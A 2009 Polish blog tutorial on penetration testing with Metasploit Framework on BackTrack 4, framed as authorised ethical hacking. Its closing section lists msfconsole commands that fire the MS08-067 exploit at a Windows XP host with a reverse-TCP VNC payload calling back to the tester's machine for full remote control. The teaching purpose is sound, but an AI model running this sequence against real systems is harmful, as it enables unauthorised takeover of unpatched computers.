24 grudnia 2009

Metasploit Framework: przykładowy test penetracyjny w praktyce



Testy penetracyjne stanowią metodę oceny bezpieczeństwa systemu informatycznego poprzez symulowanie prawdziwych ataków mogących pochodzić od potencjalnych włamywaczy. Tester (zwany często etycznym hakerem lub pentesterem), korzystając z prawdziwych narzędzi umożliwiających wykonanie udanego włamania, próbuje przełamać zabezpieczenia testowanego systemu. Dopiero tego rodzaju testy są w stanie odpowiedzieć na pytanie, czy dany system informatyczny jest rzeczywiście odporny na znane obecnie rodzaje ataków. Tego rodzaju działania, polegające na wykonywaniu testowych włamań do własnych systemów (lub cudzych, za pełną zgodą uprawnionych administratorów oraz właścicieli) będą stanowić z pewnością fascynującą przygodę dla wszystkich osób zainteresowanych bezpieczeństwem informatycznym. Pozwoli nam to również na lepsze zrozumienie tego, w jaki sposób komputerowym włamywaczom udaje się przełamywać zabezpieczenia kolejnych systemów.

Za najlepsze zintegrowane środowisko do przeprowadzania tego rodzaju testów uznaje się powszechnie Core Impact firmy Core Security Technologies. Narzędzie to jest w stanie za pomocą ogromnej bazy komercyjnych exploitów automatycznie atakować i przejmować kontrolę nad testowanymi komputerami. Core Impact zdolny jest nawet do wykonywania kolejnych ataków z poziomu przejętych już maszyn. Niestety, za tak rozbudowaną i zautomatyzowaną funkcjonalność trzeba jednak zapłacić grube tysiące dolarów. Na szczęście, w 2004 roku powstał darmowy oraz otwarty (open source) projekt Metasploit Framework, pozwalający każdemu zainteresowanemu na zgłębienie fascynującego świata etycznego hackingu.

Metasploit Framework pozwala nie tylko na używanie zawartych w nim w sposób modularny exploitów, ale również na tworzenie oraz testowanie własnych lub przerabianie tych już istniejących. Można więc powiedzieć, że możliwości przeprowadzania testów penetracyjnych za pomocą środowiska Mestasploit są nawet większe niż w przypadku rozwiązań komercyjnych. Wszystko to jest oczywiście okupione brakiem daleko posuniętego zautomatyzowania testu. Pod pewnym względem jest to jednak zaletą, gdyż ręczne konfigurowanie exploitów, payloadów (programów wykonywanych w przejętym systemie po udanym włamaniu testowym) oraz całego środowiska pracy testera przyczyni się z pewnością do lepszego zrozumienia wszystkich aspektów przeprowadzanych włamań testowych.

Jako środowisko pracy z Metasploit Framework polecam dystrybucję Linux LiveCD BackTrack 4. Ta jedna z najbardziej cenionych w środowisku osób zajmujących się ofensywnym bezpieczeństwem dystrybucja zawiera dziesiątki wbudowanych oraz skonfigurowanych do pracy narzędzi wykorzystywanych przez pentesterów, takich jak właśnie środowisko Metasploit. Dysponując więc systemem BackTrack, możemy od razu rozpocząć naszą przygodę z testami penetracyjnymi.

Po uruchomieniu systemu (domyślne poświadczenia: root/toor) BackTrack musimy przede wszystkim skonfigurować interfejs sieciowy. W celu automatycznego pobrania konfiguracji z serwera DHCP przyda się polecenie dhclient.

Zanim przystąpimy do pracy ze środowiskiem Metasploit, warto wiedzieć, że w jego ramach istnieje kilka różnych interfejsów użytkownika, a mianowicie:
  • msfconsole,
  • msfcli,
  • msfgui,
  • msfweb.

Każdy z wymienionych interfejsów posiada zarówno wady, jak i zalety. Jednakże msfconsole jest środowiskiem najbardziej stabilnym, najczęściej aktualizowanym oraz pozwalającym na dostęp do praktycznie wszystkich funkcji oferowanych przez środowisko Metasploit. Z tego powodu, w dalszych rozważaniach skupimy się wyłącznie na tym interfejsie. W systemie BackTrack 4, dostęp do msfconsole uzyskamy wykonując (będąc w katalogu /pentest/exploits/framework3/) polecenie ./msfconsole lub też wybierając z głównego systemowego menu opcję Backtrack/Penetration/Framework Version 3/msfconsole. Z poziomu msfconsole może rozpocząć nasz testowy atak. Zanim jednak zaczniemy na dobre, zaktualizujmy jeszcze całe środowisku Metasploit za pomocą polecenia svn update.

Jako przykład testu penetracyjnego z prawdziwego zdarzenia, spróbujemy przejąć pełną kontrolę nad systemem Windows XP za pomocą exploitu windows/smb/ms08_067_netapi. Moduł ten jest w stanie wykorzystać krytyczny błąd w zabezpieczeniach usługi Serwer (Biuletyn zabezpieczeń firmy Microsoft MS08-067) obecny w wielu systemach z rodziny Windows i pozwalający na zdalne wykonanie kodu. Warunkiem udanego włamania testowego jest brak w docelowym systemie poprawki bezpieczeństwa KB921883. Jako payload wykorzystamy moduł windows/vncinject/reverse_tcp. W wyniku udanego testu otrzymamy więc w pełni funkcjonalną sesję VNC pozwalającą na swobodne zarządzanie docelowym systemem Windows! Procedura testu wygląda następująco (wszystkie polecenia wydajemy w uruchomionej wcześniej konsoli msfconsole, adresy IP należy wprowadzić zgodnie z własnymi ustawieniami):
  • use windows/smb/ms08_067_netapi (wybór oraz wejście w tryb konfiguracji modułu exploitu ms08_067_netapi),
  • set RHOST 192.168.64.135 (ustawienie adresu IP systemu poddawanego testowi),
  • set target 0 (ustawienie automatycznego wyboru celu – automatyczne dostosowanie się exploitu do wersji systemu Windows pracującego na docelowym komputerze),
  • set payload windows/vncinject/reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu vncinject/reverse_tcp),
  • set lhost 192.168.64.134 (ustawienie adresu IP systemu pentestera, z którym to uruchomiony payload ma nawiązać połączenie reverse VNC),
  • exploit (uruchomienie exploitu).

W efekcie otrzymamy sesję VNC, za pomocą której możemy zarządzać zdalnym systemem! Przebieg testu oraz jego wynik przedstawia poniższy zrzut ekranu.



W podobny sposób możemy testować bezpieczeństwo innych systemów operacyjnych oraz usług pracujących w docelowej infrastrukturze za pomocą innych modułów Metasploit Framework. Zapraszam więc wszystkich zainteresowany do zgłębiania niezwykle interesującego świata testów penetracyjnych!

Artykuł autorski HCSL - Wojciech Smol